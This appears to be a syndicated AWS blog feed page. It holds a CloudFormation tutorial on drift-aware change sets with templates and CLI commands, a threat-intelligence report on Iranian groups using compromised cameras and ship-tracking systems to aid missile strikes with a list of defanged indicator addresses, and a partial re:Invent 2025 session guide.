Damola Oluyemo is a Solutions Architect at Amazon Web Services focused on Enterprise customers. He helps customers design cloud solutions while exploring the potential of Infrastructure as Code and generative AI in software development.

Jehu Gray

Jehu Gray is a Prototyping Architect at Amazon Web Services where he helps customers design solutions that fits their needs. He enjoys exploring what’s possible with IaC.

Safely Handle Configuration Drift with CloudFormation Drift-Aware Change Sets

Post Syndicated from JJ Lei original https://aws.amazon.com/blogs/devops/safely-handle-configuration-drift-with-cloudformation-drift-aware-change-sets/

Introduction

Is configuration drift preventing you from accessing the speed, safety, and governance benefits of AWS CloudFormation for infrastructure management? Configuration drift occurs when cloud resources are modified outside of CloudFormation, leading to a mismatch in the actual state and template definition of resources. Drift tends to accumulate from infrastructure changes that engineers make via the AWS Management Console to resolve production incidents or troubleshoot malfunctioning applications. Drift can cause unexpected changes during subsequent IaC deployments or leave resources in a non-compliant state. Unresolved drift can lead to cost increases when resources are over-provisioned outside of template definitions, or compliance violations that may result in audit penalties. Additionally, drift makes it hard to reproduce applications for testing or disaster recovery.

CloudFormation now offers drift-aware change sets that allow you to safely handle configuration drift and keep your infrastructure in sync with your templates. In this post, we will explore the process of leveraging drift-aware change sets to resolve common scenarios in which drift impacts the availability or security of your application.

Solution Overview

Drift-aware change sets are a type of CloudFormation change sets that can bring drifted resources in line with template definitions and preview the required changes to actual infrastructure states before deployment. Drift-aware change sets surface a three-way comparison of your new template, actual resource states, and previous template before deployment, allowing you to prevent unexpected overwrites of drift. Additionally, drift-aware change sets offer you a systematic mechanism to restore drifted resources to approved template definitions, strengthening the reproducibility and compliance posture of applications. You can create drift-aware change sets either from the CloudFormation Management Console or from the AWS CLI or SDK by passing the --deployment-mode REVERT_DRIFT parameter to the CreateChangeSet API.

Prerequisites

• AWS CLI latest version with CloudFormation permissions configured.

• AWS Identity and Access Management (IAM) permissions required: Permissions to create and manage CloudFormation stacks, AWS Lambda functions, Security Groups, Amazon Simple Storage Service (Amazon S3) buckets, and IAM roles. PowerUserAccess or Administrator access recommended for testing.

• Test environment (non-production AWS account recommended)

• Basic CloudFormation knowledge (stacks, templates, change sets)

Important Note: These sample templates are provided for educational purposes only and should not be used in production environments without proper security review and testing. You are responsible for testing, securing, and optimizing these templates based on your specific quality control practices and standards. Deploying these templates may incur AWS charges for creating or using AWS resources. Work with your security and legal teams to meet your organizational security, regulatory, and compliance requirements before any production deployment.

Scenario 1: Prevent Dangerous Overwrites

This scenario demonstrates how drift-aware change sets prevent dangerous overwrites when Lambda function memory is increased outside of CloudFormation during an outage, and a subsequent template update could accidentally reduce memory, causing performance issues.

Story: Your team deploys a Lambda function with 128 MB memory via CloudFormation. During a production outage, an engineer increases the memory to 512 MB through the Lambda Console to resolve performance issues. Later, another developer updates the template to 256 MB for a code change, unaware of the console modification. Without drift-aware change sets, CloudFormation would unexpectedly reduce memory from 512 MB to 256 MB—potentially causing the outage to recur.

User journey: Create stack with 128MB => Increase memory to 512MB via console during outage => Create drift-aware change set with 256MB template => Review three-way comparison showing dangerous memory reduction => Cancel change set to prevent outage => Update template to match production state (512MB) => Create and execute drift-aware change set with updated template (512MB) to resolve drift

Scenario Flow

1. Create Stack

Deploy CloudFormation stack with Lambda function (128 MB memory).

Figure 1

CloudFormation stack “lambda-memory-drift-test” successfully deployed with CREATE_COMPLETE status

2. Emergency Memory Increase (Console)

Manually increase Lambda memory to 512 MB through AWS Console (simulating emergency performance fix during outage).

Figure 2

Initial Lambda function showing 128 MB memory as configured in template

Figure 3

Lambda memory increased to 512 MB through console during outage, creating drift from template

3. Create Drift-Aware Change Set

Create change set with 256 MB template using drift-aware mode to reveal the dangerous memory reduction.

Figure 4

CloudFormation console showing the new “Drift aware change set” option selected. This compares the new template with the live state of your stack and shows changes to drifted resources before deployment, unlike standard change sets that only compare templates.

aws cloudformation create-change-set \
--stack-name lambda-memory-drift-test \
--change-set-name detect-memory-overwrite \
--template-body file://lambda-memory-drift-scenario-256mb.yaml \
--deployment-mode REVERT_DRIFT \
--capabilities CAPABILITY_IAM \
--region us-east-1

4. Review Change Set – The Critical Three-Way Comparison

Examine the drift-aware change set to see the dangerous memory reduction that would occur.

Figure 5

Critical insight revealed: The change set shows Live resource state (512 MB) vs Proposed resource state (256 MB), revealing a dangerous memory reduction that would impact performance.

Figure 6: view drift

Drift analysis: Clicking “View drift” reveals the complete picture – Previous template (128 MB) vs Live resource state (512 MB). This shows the live state has 4x more memory than the original template, indicating emergency changes were made during the outage that must be preserved.

Key Insight: The drift-aware change set reveals that:

  • Previous template: 128 MB (original deployment)
  • Live resource state: 512 MB (emergency change during outage)
  • Proposed template: 256 MB (new deployment)

This would cause a dangerous reduction from 512 MB to 256 MB, potentially recreating the original performance issue. Without drift-aware change sets, this critical information would be hidden.

5. Recreate Drift-aware Change Set with Updated Template (512MB) to Resolve Drift

Update the template to match the live production state (512 MB) and create a new drift-aware change set to safely resolve the drift.

Figure 7

Resolution confirmed: The drift-aware change set shows both Live resource state and Proposed resource state at 512 MB, with change set action ” Sync with live”. This verifies that the updated template now matches production, preventing the dangerous memory reduction and safely resolving the drift without impacting performance.

CloudFormation Templates

Initial Template (128 MB):

Resources:
  DriftTestFunction:
    Type: AWS::Lambda::Function
    Properties:
      Runtime: python3.9
      Handler: index.lambda_handler
      MemorySize: 128
      ReservedConcurrentExecutions: 5
      Role: !GetAtt LambdaExecutionRole.Arn
      Code:
        ZipFile: |
          def lambda_handler(event, context):
              return {'statusCode': 200, 'body': 'Hello!'}
  LambdaExecutionRole:
    Type: AWS::IAM::Role
    Properties:
      AssumeRolePolicyDocument:
        Statement:
          - Effect: Allow
            Principal:
              Service: lambda.amazonaws.com
            Action: sts:AssumeRole
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole

Updated Template (256 MB – lambda-memory-drift-scenario-256mb.yaml):

Resources:
  DriftTestFunction:
    Type: AWS::Lambda::Function
    Properties:
      Runtime: python3.9
      Handler: index.lambda_handler
      MemorySize: 256
      ReservedConcurrentExecutions: 5
      Role: !GetAtt LambdaExecutionRole.Arn
      Code:
        ZipFile: |
          def lambda_handler(event, context):
              return {'statusCode': 200, 'body': 'Hello!'}
  LambdaExecutionRole:
    Type: AWS::IAM::Role
    Properties:
      AssumeRolePolicyDocument:
        Statement:
          - Effect: Allow
            Principal:
              Service: lambda.amazonaws.com
            Action: sts:AssumeRole
      ManagedPolicyArns:
        - arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole

CLI Commands

  1. Create stack:
aws cloudformation create-stack --stack-name lambda-memory-drift-test --template-body file://lambda-memory-drift-scenario.yaml --capabilities CAPABILITY_IAM --region us-east-1
  1. Get function name:
aws cloudformation describe-stack-resources --stack-name lambda-memory-drift-test --logical-resource-id DriftTestFunction --query 'StackResources[0].PhysicalResourceId' --output text --region us-east-1
  1. Create drift-aware change set:
aws cloudformation create-change-set --stack-name lambda-memory-drift-test --change-set-name detect-memory-overwrite --template-body file://lambda-memory-drift-scenario-256mb.yaml --deployment-mode REVERT_DRIFT --capabilities CAPABILITY_IAM --region us-east-1
  1. Describe change set:
aws cloudformation describe-change-set --change-set-name detect-memory-overwrite --stack-name lambda-memory-drift-test --region us-east-1

Scenario 2: Remediate Unauthorized Changes

This scenario demonstrates how drift-aware change sets systematically remediate unauthorized changes when a developer adds temporary debugging rules to a security group but forgets to remove them, creating a compliance violation.

Story: Your team deploys a security group with only HTTP access via CloudFormation for compliance. During debugging, a developer adds SSH access (port 22) through the AWS Console for their IP address to troubleshoot an application issue. They forget to remove this rule after debugging. Later, security compliance requires reverting to the original template state. A standard change set shows no changes since the template is unchanged, but a drift-aware change set can detect and systematically remove the unauthorized SSH rule.

User journey: Create stack with HTTP-only access => Add SSH rule via console for debugging => Forget to remove SSH rule => Create drift-aware change set with REVERT_DRIFT mode => Review change set showing SSH rule removal => Execute change set to restore compliance

Scenario Flow

1. Create Stack

Deploy CloudFormation stack with security group allowing only HTTP traffic.

Figure 8

CloudFormation stack “sg-revert-drift-test” successfully deployed with DriftTestSecurityGroup resource

2. Make Unauthorized Changes (Console)

Manually add SSH ingress rule through AWS Console (simulating developer debugging access that wasn’t removed).

Figure 9: http only

Initial security group showing only HTTP (port 80) access as configured in template – compliant state

Figure 10: ssh-added

Security group now shows 2 permission entries: SSH (port 22) for specific IP and HTTP (port 80) for all traffic. The SSH rule creates drift and a compliance violation that needs systematic removal.

3. Create Drift-Aware Change Set

Create change set using REVERT_DRIFT mode to systematically remove the unauthorized SSH rule.

Figure 11

Creating drift-aware change set for security group compliance restoration. Note the “Drift aware change set” option is selected to compare with live state and detect unauthorized changes.

aws cloudformation create-change-set \
--stack-name sg-revert-drift-test \
--change-set-name revert-ssh-drift \
--use-previous-template \
--deployment-mode REVERT_DRIFT \
--region us-east-1

4. Review Change Set – Systematic Compliance Restoration

Examine the drift-aware change set to see systematic removal of unauthorized SSH rule.

Figure 12

Compliance violation detected: The drift -aware change set shows that the SSH rule in the live resource state (rule 232 for IP 15.248.7.53/32 on port 22) is not present in the proposed resource state derived from the template. This unauthorized SSH rule violates security policy and will be systematically removed

Key Insight: The drift-aware change set enables systematic compliance restoration by:

  • Previous template: Only HTTP (port 80) access – compliant state
  • Live resource state: HTTP + SSH (port 22) for 15.248.7.53/32 – compliance violation
  • Action: Remove unauthorized SSH rule to restore compliance

This provides a systematic, auditable way to remove unauthorized changes rather than manual cleanup.

Figure 13

Stack events showing successful execution of the drift-aware change set – SSH rule removed

CloudFormation Templates

security-group-drift-scenario.yaml:

Resources:
  DriftTestSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupDescription: "Security group for drift testing"
      SecurityGroupIngress:
        - IpProtocol: tcp
          FromPort: 80
          ToPort: 80
          CidrIp: 0.0.0.0/0
          Description: "Allow HTTP traffic for demo purposes"
      SecurityGroupEgress:
        - IpProtocol: -1
          CidrIp: 0.0.0.0/0
          Description: "Allow all outbound traffic"

CLI Commands

  1. Create stack:
aws cloudformation create-stack --stack-name sg-revert-drift-test --template-body file://security-group-drift-scenario.yaml --region us-east-1
  1. Get security group ID:
aws ec2 describe-security-groups --filters "Name=tag:aws:cloudformation:stack-name,Values=sg-revert-drift-test" --query 'SecurityGroups[0].GroupId' --output text --region us-east-1
  1. Create drift-aware change set:
aws cloudformation create-change-set --stack-name sg-revert-drift-test --change-set-name revert-ssh-drift --template-body file://security-group-drift-scenario.yaml --deployment-mode REVERT_DRIFT --region us-east-1
  1. Describe change set:
aws cloudformation describe-change-set --change-set-name revert-ssh-drift --stack-name sg-revert-drift-test --region us-east-1

Scenario 3: Recreate Deleted Resources

This scenario demonstrates drift detection when a dependent resource (logs bucket) is accidentally deleted outside of CloudFormation during troubleshooting. The main application bucket depends on this logs bucket for access logging. You need to recreate the deleted resource while maintaining the existing infrastructure dependencies.

Story: Your team deploys a main S3 bucket with a dependent logs bucket for access logging via CloudFormation. During troubleshooting, an operator accidentally deletes the logs bucket through the AWS Console. The main bucket still exists but its logging configuration now references a non-existent bucket. You need to recreate the deleted logs bucket while maintaining the dependency relationship.

User journey: Create stack with main and logs buckets => Accidentally delete logs bucket => Create drift-aware change set with REVERT_DRIFT mode => Review change set showing LogBucket will be recreated => Execute change set to restore deleted resource

Scenario Flow

1. Create Stack

Deploy CloudFormation stack with main S3 bucket and dependent logs bucket.

Figure 14

CloudFormation stack “s3-deletion-drift-test” successfully deployed with both LogBucket and MainBucket resources in CREATE_COMPLETE status

2. Accidental Deletion (Console)

Manually delete the logs bucket through AWS Console (simulating accidental deletion during troubleshooting).

Figure 15

LogBucket accidentally deleted outside of CloudFormation during troubleshooting, creating drift – the MainBucket still exists but its logging configuration now references a non-existent bucket

3. Create Drift-Aware Change Set

Create change set using REVERT_DRIFT mode to recreate the deleted LogBucket.

Figure 16

Creating drift-aware change set with “Drift aware change set” option selected to detect and recreate the deleted resource by comparing template with live state

aws cloudformation create-change-set \
--stack-name s3-deletion-drift-test \
--change-set-name recreate-deleted-bucket \
--use-previous-template \
--deployment-mode REVERT_DRIFT \
--region us-east-1

4. Review Change Set – Resource Recreation

Examine change set to see LogBucket recreation while preserving MainBucket dependencies.

Figure 17

Change set preview showing LogBucket will be recreated to restore the deleted resource and MainBucket updated to maintain infrastructure dependencies

Key Insight: The drift-aware change set detects that:

  • Template expectation: Both LogBucket and MainBucket should exist
  • Live resource state: Only MainBucket exists, LogBucket is missing
  • Action: Recreate LogBucket with original configuration to restore logging functionality

This enables systematic recovery of accidentally deleted resources while maintaining infrastructure dependencies.

CloudFormation Templates

s3-drift-scenario.yaml:

Resources:
  LogBucket:
    Type: AWS::S3::Bucket
    Properties:
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
      VersioningConfiguration:
        Status: Enabled
  
  MainBucket:
    Type: AWS::S3::Bucket
    Properties:
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
      VersioningConfiguration:
        Status: Enabled
      LoggingConfiguration:
        DestinationBucketName: !Ref LogBucket

CLI Commands

  1. Create stack:
aws cloudformation create-stack --stack-name s3-deletion-drift-test --template-body file://s3-drift-scenario.yaml --region us-east-1
  1. Get LogBucket name:
aws cloudformation describe-stack-resources --stack-name s3-deletion-drift-test --logical-resource-id LogBucket --query 'StackResources[0].PhysicalResourceId' --output text --region us-east-1
  1. Create drift-aware change set:
aws cloudformation create-change-set --stack-name s3-deletion-drift-test --change-set-name recreate-deleted-bucket --template-body file://s3-drift-scenario.yaml --deployment-mode REVERT_DRIFT --region us-east-1
  1. Describe change set:
aws cloudformation describe-change-set --change-set-name recreate-deleted-bucket --stack-name s3-deletion-drift-test --region us-east-1

Best Practices

When working with drift-aware change sets, consider these best practices:

• Always review three-way comparisons before executing change sets to understand the full impact

• Use REVERT_DRIFT deployment mode when you want to bring resources back to template compliance

• Document emergency changes made outside of CloudFormation to inform future template updates

• Implement change management processes to minimize unauthorized drift

• Regular drift detection helps identify configuration changes before they become problematic

• Test drift-aware change sets in non-production environments first

Cleanup

Important: Execute these cleanup commands promptly after completing the scenarios to avoid incurring unnecessary AWS charges. Resources such as Lambda functions, S3 buckets (even if empty), and security groups may incur costs if left running. Ensure all stacks are successfully deleted by verifying the DELETE_COMPLETE status.

Commands to delete all test resources:

# Scenario 1: Lambda Memory Drift
aws cloudformation delete-stack --stack-name lambda-memory-drift-test --region us-east-1

# Scenario 2: Security Group Drift
aws cloudformation delete-stack --stack-name sg-revert-drift-test --region us-east-1

# Scenario 3: S3 Bucket Deletion Drift
aws cloudformation delete-stack --stack-name s3-deletion-drift-test --region us-east-1

# Verify all stacks are deleted
aws cloudformation list-stacks --stack-status-filter DELETE_COMPLETE --region us-east-1

Note: CloudFormation will automatically clean up all resources created by the stacks, including Lambda functions, security groups, and S3 buckets.

Conclusion

Drift-aware change sets enable you to mitigate the operational and security risks of configuration drift, allowing you to confidently automate and govern your infrastructure updates with CloudFormation. Through the scenarios described in this post, you have seen how you can leverage drift-aware change sets to prevent outages in production environments, maintain the integrity of your test environments, and manage the compliance posture of all environments. Remember to thoroughly review the infrastructure changes previewed by drift-aware change sets before executing deployments.

Available Now

Drift-aware change sets are available in AWS Regions where CloudFormation is available. Please refer to the AWS Region table to learn more.

New Amazon Threat Intelligence findings: Nation-state actors bridging cyber and kinetic warfare

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/new-amazon-threat-intelligence-findings-nation-state-actors-bridging-cyber-and-kinetic-warfare/

The new threat landscape

The line between cyber warfare and traditional kinetic operations is rapidly blurring. Recent investigations by Amazon threat intelligence teams have uncovered a new trend that they’re calling cyber-enabled kinetic targeting in which nation-state threat actors systematically use cyber operations to enable and enhance physical operations. Traditional cybersecurity frameworks often treat digital and physical threats as separate domains. However, research by Amazon demonstrates that this separation is increasingly artificial. Multiple nation-state threat groups are pioneering a new operational model where cyber reconnaissance directly enables kinetic targeting.

We’re seeing a fundamental shift in how nation-state actors approach warfare. These aren’t just cyber attacks that happen to cause physical damage; they are coordinated campaigns where digital operations are specifically designed to support physical military objectives.

Unique visibility at Amazon

The ability of Amazon Threat Intelligence to identify these campaigns stems from their unique position in the global threat landscape:

  • Threat intelligence telemetry: Amazon global cloud operations provide visibility into threats across diverse environments, including intelligence from Amazon MadPot honeypot systems, which enable the detection of suspicious patterns, actor infrastructure, and the network pathways used in these cyber-enabled kinetic targeting campaigns.
  • Opt-in customer data: Real-world data about attempted threat actor activities provided on an opt-in basis from enterprise environments.
  • Industry partner collaboration: Threat intelligence sharing with leading security organizations and government agencies provides additional context and validation for observed activities.

Through this multi-source approach, Amazon can connect dots that might otherwise remain invisible to individual organizations or even government agencies operating in isolation.

Case study 1: Imperial Kitten’s maritime campaign

The first case study involves Imperial Kitten, a threat group suspected of operating on behalf of Iran’s Islamic Revolutionary Guard Corps (IRGC). The timeline reveals the progression from digital reconnaissance to physical attack:

  • December 4, 2021: Imperial Kitten compromises a maritime vessel’s Automatic Identification System (AIS) platform, gaining access to critical shipping infrastructure. The Amazon Threat Intelligence team identifies the compromise and works with the affected organization to remediate the security event.
  • August 14, 2022: The threat actor expands their maritime targeting of additional vessel platforms. In one incident, they gained access to CCTV cameras aboard a maritime vessel, which provided real-time visual intelligence.
  • January 27, 2024: Imperial Kitten conducts targeted searches for AIS location data for a specific shipping vessel. This represents a clear shift from broad reconnaissance to targeted intelligence gathering.
  • February 1, 2024: US Central Command reports a missile strike by Houthi forces against the exact vessel that Imperial Kitten had been tracking. While the missile strike was ultimately ineffective, the correlation between the cyber reconnaissance and kinetic strike is unmistakable.

This case demonstrates how cyber operations can provide adversaries with the precise intelligence needed to conduct targeted physical attacks against maritime infrastructure—a critical component of global commerce and military logistics.

Case study 2: MuddyWater’s Jerusalem operations

The second case study involves MuddyWater, a threat group attributed by the US government to Rana Intelligence Computer Company, operating at the behest of Iran’s Ministry of Intelligence and Security (MOIS). This case reveals an even more direct connection between cyber operations and kinetic targeting.

  • May 13, 2025: MuddyWater provisions a server specifically for cyber network operations, establishing the infrastructure needed for their campaign.
  • June 17, 2025: The threat actor uses their server infrastructure to access another compromised server containing live CCTV streams from Jerusalem. This provides real-time visual intelligence of potential targets within the city.
  • June 23, 2025: Iran launches widespread missile attacks against Jerusalem. On the same day, Israeli authorities report that Iranian forces were exploiting compromised security cameras to gather real-time intelligence and adjust missile targeting.

The timing is not coincidental. As reported by The Record, Israeli officials urged citizens to disconnect internet-connected security cameras, warning that Iran was exploiting them to “gather real-time intelligence and adjust missile targeting.”

Technical infrastructure and methods

Research by Amazon reveals the sophisticated technical infrastructure supporting these operations. The threat actors employ a multi-layered approach:

  1. Anonymizing VPN networks: Threat actors route their traffic through anonymizing VPN services to obscure their true origins and make attribution more difficult.
  2. Actor-controlled servers: Dedicated infrastructure provides persistent access and command-and-control capabilities for ongoing operations.
  3. Compromised enterprise systems: The ultimate targets—enterprise servers hosting critical infrastructure like CCTV systems, maritime platforms, and other intelligence-rich environments.
  4. Real-time data streaming: Live feeds from compromised cameras and sensors provide actionable intelligence that can be used to adjust targeting in near real time.

Defining a new category of warfare

The research team proposes new terminology to describe these hybrid operations. Traditional frameworks fall short:

  • Cyber-kinetic operations typically refer to cyber attacks that cause physical damage to systems
  • Hybrid warfare is too broad, encompassing multiple types of warfare without specific focus on the cyber-physical integration

Amazon researchers suggest cyber-enabled kinetic targeting as a more precise term for campaigns where cyber operations are specifically designed to enable and enhance kinetic military operations.

Implications for defenders

For the cybersecurity community, this research serves as both a warning and a call to action. Defenders must adapt their strategies to address threats that span both digital and physical domains. Organizations that historically believed they weren’t of interest to threat actors could now be targeted for tactical intelligence. We must expand our threat models, enhance our intelligence sharing, and develop new defensive strategies that account for the reality of cyber-enabled kinetic targeting across diverse adversaries.

  • Expanded threat modeling: Organizations must consider not just the direct impact of cyberattacks, but how compromised systems might be used to support physical attacks against themselves or others.
  • Critical infrastructure protection: Operators of maritime systems, urban surveillance networks, and other infrastructure must recognize that their systems might be valuable not just for espionage, but as targeting aids for kinetic operations.
  • Intelligence sharing: The cases demonstrate the critical importance of threat intelligence sharing between private sector organizations, government agencies, and international partners.
  • Attribution challenges: When cyber operations directly enable kinetic attacks, the attribution and response frameworks become more complex, potentially requiring coordination between cybersecurity, military, and diplomatic channels.

Looking forward

We believe that cyber-enabled kinetic targeting will become increasingly common across multiple adversaries. Nation-state actors are recognizing the force multiplier effect of combining digital reconnaissance with physical attacks. This trend represents a fundamental evolution in warfare, where the traditional boundaries between cyber and kinetic operations are dissolving.

Indicators of Compromise

IOC Value, IOC Type, First Seen, Last Seen, Annotation
18[.]219.14.54, IPv4, 2025-05-13, 2025-06-17, MuddyWater Command and Control IP address
85[.]239.63.179, IPv4, 2023-08-13, 2025-09-19, Imperial Kitten proxy IP address
37[.]120.233.84, IPv4, 2021-01-01, 2022-11-01, Imperial Kitten proxy IP address
95[.]179.207.105, IPv4, 2020-11-11, 2022-04-09, Imperial Kitten proxy IP address

This blog post is based on research presented at CYBERWARCON by David Magnotti, Principal Engineer, and Dlshad Othman, Senior Threat Intelligence Engineer, both of Amazon Threat Intelligence. The authors thank US Central Command for their transparency in reporting military activities and acknowledge the ongoing support of customers and partners in these critical investigations.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

Know before you go – AWS re:Invent 2025 guide to Well-Architected and Cloud Optimization sessions

Post Syndicated from Anitha Selvan original https://aws.amazon.com/blogs/architecture/know-before-you-go-aws-reinvent-2025-guide-to-well-architected-and-cloud-optimization-sessions/

Are you ready to maximize your Well-Architected and Cloud Optimization learning and networking time at re:Invent 2025? We have put together this comprehensive guide to help you plan your schedule and make the most of the Well-Architected and cloud optimization sessions available this year. These sessions will deliver the practical guidance your teams need to lead strategic cloud initiatives, design next-generation architectures, optimize costs, or secure AI-powered systems.

Key themes at re:Invent for Well-Architected and Cloud Optimization – You can expect to see the following themes at re:Invent 2025

AI-powered architecture and governance

The sessions in this theme showcase how AWS is integrating AI technologies to transform traditional architectural practices. From using AI services for automated Well-Architected reviews to implementing self-evolving systems with agentic AI, these sessions demonstrate how you can use AI to automate architectural decisions, streamline governance processes, and scale best practices across the enterprise.

Sessions: ARC324-R, ARC317-R, SPS320, ARC302-R (session details are posted in the following section)

Well-Architected Framework evolution and implementation

These sessions highlight how the AWS Well-Architected Framework has evolved beyond its original scope to address modern architectural challenges. Attendees will learn how to implement the framework principles across different domains—from IoT security to backup strategies—while focusing on enterprise-scale governance and compliance.

Sessions: ARC204, SEC337, STG313-R, ARC323-R (session details are posted in the following section)

Cost optimization and FinOps

The cost optimization track focuses on innovative approaches to cloud financial management, with a strong emphasis on AI-powered FinOps solutions. Sessions range from hands-on workshops like the Frugal Architect GameDay to chalk talks on establishing effective cost governance models.

Sessions: ARC318-R, COP309-R, ARC309, DEV318 (session details are posted in the following section)

Session formats to fit your learning style

This year’s catalog features an exciting mix of content across different formats: from breakout, chalk talks, workshops, builder sessions to code talks.

Breakout sessions – Stay in the know

Sit back and enjoy these presentations to stay current with the latest solution enhancements and practical applications. AWS experts and guest speakers will share valuable insights and real-world examples.

From ideas to impact: Architecting with cloud best practices

ARC204 | Breakout session | December 1, 8:30 AM

Discover how foundational frameworks like the AWS Well-Architected Framework, AWS Cloud Adoption Framework, and AWS Cloud Operating Model evolved through customer feedback and real-world learnings from thousands of organizations, transforming from structured guidance into dynamic insights for optimizing cloud environments. Learn practical strategies for applying unified best practices to accelerate cloud transformation while managing large-scale architectural changes and maintaining operational excellence.

Build a well-architected foundation for scaling generative AI and agentic apps

AIM310 | Breakout session | December 1, 10:00 AM

Move beyond proof-of-concepts to build a production-ready foundation supporting all AI applications across your organization, addressing the critical transition from experimentation to enterprise-scale AI deployment. Navigate model access and management, tool discovery, memory and state handling, and observability at scale while building foundations that seamlessly integrate model access, orchestration workflows, agents, and tools with enterprise-grade governance controls.

AI-Powered Enterprise Architecture with ServiceNow & AWS 

ARC337-S | Breakout session | December 2, 3:00 PM

Enterprises face a core challenge: translating architectural vision into resilient cloud reality. See how integrating ServiceNow’s Enterprise Architecture Workspace with the AWS Well-Architected Tool transforms traditional design processes. Through elegant “shift-left” methodologies, architects gain contextual insights that seamlessly blend enterprise modeling with cloud best practices. This presentation is brought to you by ServiceNow, an AWS Partner.

The AI revolution in customer support: Building predictive service systems

SPS315 | Breakout session | December 3, 5:30 PM

Discover how AWS is using generative AI to transform customer support from reactive to proactive. We’ll show how large language models and AI agents are improving customer satisfaction and efficiency. Topics include smart case routing, context-aware support, early problem detection, and responsible AI use. We’ll share real results and discuss balancing AI capabilities with human touch.

Optimize AWS Costs: Developer Tools and Techniques

DEV318 | Breakout session | December 1, 3:00 PM

As cloud applications grow in complexity, optimizing costs becomes crucial for developers. This session explores AWS native tools and coding practices that reduce expenses without compromising performance or scalability.

Chalk talks

AWS speakers set the stage at the beginning of the talk and then open up for discussion. Bring your questions and dive deep into the topic with AWS experts and other customers.

Architecting agentic systems: Self-evolving patterns with AWS AI

ARC324-R | Chalk talk | December 2, 1:30 PM

Learn to architect self-evolving systems using agentic AI that align with AWS Well-Architected principles, exploring cutting-edge patterns for systems that adapt, heal, and optimize themselves autonomously while maintaining architectural integrity. Implement autonomous monitoring and self-healing capabilities with Amazon Bedrock Agents, design AI-driven security controls and automated recovery mechanisms and create systems that continuously adapt to workload patterns while maintaining reliability and performance standards.

Building Well-Architected agentic AI applications

ARC317-R/R1 | Chalk talk | December 2, 3:00 PM and December 4, 1:00 PM

Navigate generative AI agent development with robust architectural practices for security and compliance, focusing on proven patterns for building production-ready agentic AI applications that meet enterprise requirements. Design agent architectures with guardrails, monitoring systems, and access controls using the AWS Well-Architected Generative AI Lens while implementing governance patterns that ensure regulatory compliance and enable systems to scale from prototype to enterprise-wide deployment.

Using generative AI to automate architectural guidance

ARC315 | Chalk talk | December 1, 4:30 PM

Replace time-intensive manual processes with AI-powered systems that generate strategic recommendations, design principles, and best practices at scale while maintaining quality and consistency. Generate organization-specific design principles using AI analysis of architectural patterns, implement AI-driven guidance systems with effective quality control mechanisms, and build knowledge bases that feed AI-powered architectural guidance while maintaining human oversight and addressing ethical considerations.

Agentic architecting: From prototype to production-ready systems

ARC330-R/R1 | Chalk talk | December 2, 5:30PM and December 4, 2:30 PM

Transform prototypes into production-ready systems by incorporating security, monitoring, and CI/CD through agentic architecting, focusing on practical challenges of moving from experimental AI systems to production-grade architectures. Use AI agents to generate and optimize AWS CDK infrastructure and application code, implement automated security improvements and CI/CD pipeline creation, and maintain AWS Well-Architected principles while enabling teams to focus on business logic as AI handles infrastructure complexity.

AI-powered FinOps: Agent-based cloud cost management

ARC318-R/R1 | Chalk talk | December 1, 4:00 PM and December 3, 4:00 PM

Learn how intelligent agents tackle fragmented cost data and optimization processes in complex multi-account environments, moving beyond traditional FinOps approaches to autonomous, intelligent financial optimization. Architect solutions using Amazon OpenSearch Service for data aggregation and Amazon Bedrock for contextual reasoning to design secure, scalable FinOps solutions that continuously optimize costs while delivering measurable business outcomes.

Supercharge your well-architected reviews with AWS Generative AI

SPS320 | Chalk talk | December 3, 4:00 PM

Discover how Koch Industries revolutionized AWS Well-Architected reviews using generative AI, transforming weeks-long manual processes into automated, intelligent systems. Automate architectural assessments using Amazon Bedrock Knowledge Bases and Model Context Protocol (MCP) to scale best practice reviews and optimize workloads in minutes instead of days while achieving more comprehensive, consistent, and actionable recommendations through proven change management and organizational adoption strategies.

Architecting enterprise-scale governance beyond AWS Control Tower

ARC323-R/R1 | Chalk talk | December 3, 11:30 AM and December 4, 2:00PM

Discover advanced governance strategies that build upon AWS Control Tower for enterprise-scale environments requiring sophisticated compliance, security, and operational controls. Implement infrastructure across six Well-Architected Foundations capabilities with critical trade-off understanding, build efficient multi-account structures balancing security requirements with innovation needs, and architect automated compliance checks and policy enforcement at scale while enabling self-service capabilities with centralized governance and security controls.

Securing IoT Workloads with AWS IoT Lens and AWS Security Reference Architecture

SEC337 | Chalk talk | December 3, 11:30 AM

Industrial environments are reaching new levels of connectivity, automation, efficiency, and real-time data insights. However, this increased connectivity also introduces significant security challenges. Unaddressed security concerns can expose vulnerabilities and slow down companies looking to accelerate digital transformation using IoT and cloud. This chalk talk explores relevant techniques, architecture patterns, best practices and AWS security services for securing complex OT/IT environments, IoT devices, edge and cloud using the AWS Well-Architected IoT Lens and AWS Security Reference Architecture (SRA).

Establishing effective cost governance

COP309-R/R1 | Chalk talk | December 3, 3:00 PM and December 4, 12:30 PM

